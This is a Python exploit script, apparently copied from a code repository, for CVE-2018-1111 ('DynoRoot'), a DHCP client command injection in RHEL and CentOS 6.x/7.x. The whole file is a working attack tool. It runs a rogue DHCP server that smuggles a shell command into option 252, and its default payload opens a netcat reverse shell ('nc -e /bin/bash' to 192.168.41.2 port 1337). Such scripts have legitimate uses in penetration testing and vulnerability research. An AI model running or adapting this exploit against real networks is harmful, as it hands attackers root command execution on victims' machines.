41ea196761
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65 lines
No EOL
3 KiB
Python
Executable file
65 lines
No EOL
3 KiB
Python
Executable file
# Exploit Title: DynoRoot DHCP - Client Command Injection
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# Date: 2018-05-18
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# Exploit Author: Kevin Kirsche
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# Exploit Repository: https://github.com/kkirsche/CVE-2018-1111
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# Exploit Discoverer: Felix Wilhelm
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# Vendor Homepage: https://www.redhat.com/
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# Version: RHEL 6.x / 7.x and CentOS 6.x/7.x
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# Tested on: CentOS Linux release 7.4.1708 (Core) / NetworkManager 1.8.0-11.el7_4
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# CVE : CVE-2018-1111
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#!/usr/bin/env python
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from argparse import ArgumentParser
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from scapy.all import BOOTP_am, DHCP
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from scapy.base_classes import Net
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class DynoRoot(BOOTP_am):
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function_name = "dhcpd"
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def make_reply(self, req):
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resp = BOOTP_am.make_reply(self, req)
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if DHCP in req:
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dhcp_options = [(op[0], {1: 2, 3: 5}.get(op[1], op[1]))
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for op in req[DHCP].options
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if isinstance(op, tuple) and op[0] == "message-type"]
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dhcp_options += [("server_id", self.gw),
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("domain", self.domain),
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("router", self.gw),
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("name_server", self.gw),
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("broadcast_address", self.broadcast),
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("subnet_mask", self.netmask),
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("renewal_time", self.renewal_time),
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("lease_time", self.lease_time),
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(252, "x'&{payload} #".format(payload=self.payload)),
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"end"
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]
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resp /= DHCP(options=dhcp_options)
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return resp
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if __name__ == '__main__':
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parser = ArgumentParser(description='CVE-2018-1111 DynoRoot exploit')
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parser.add_argument('-i', '--interface', default='eth0', type=str,
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dest='interface',
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help='The interface to listen for DHCP requests on (default: eth0)')
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parser.add_argument('-s', '--subnet', default='192.168.41.0/24', type=str,
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dest='subnet', help='The network to assign via DHCP (default: 192.168.41.0/24)')
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parser.add_argument('-g', '--gateway', default='192.168.41.254', type=str,
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dest='gateway', help='The network gateway to respond with (default: 192.168.41.254)')
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parser.add_argument('-d', '--domain', default='victim.net', type=str,
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dest='domain', help='Domain to assign (default: victim.net)')
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parser.add_argument('-p', '--payload', default='nc -e /bin/bash 192.168.41.2 1337', type=str,
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dest='payload', help='The payload / command to inject (default: nc -e /bin/bash 192.168.41.2 1337)')
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args = parser.parse_args()
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server = DynoRoot(iface=args.interface, domain=args.domain,
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pool=Net(args.subnet),
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network=args.subnet,
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gw=args.gateway,
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renewal_time=600, lease_time=3600)
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server.payload = args.payload
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server() |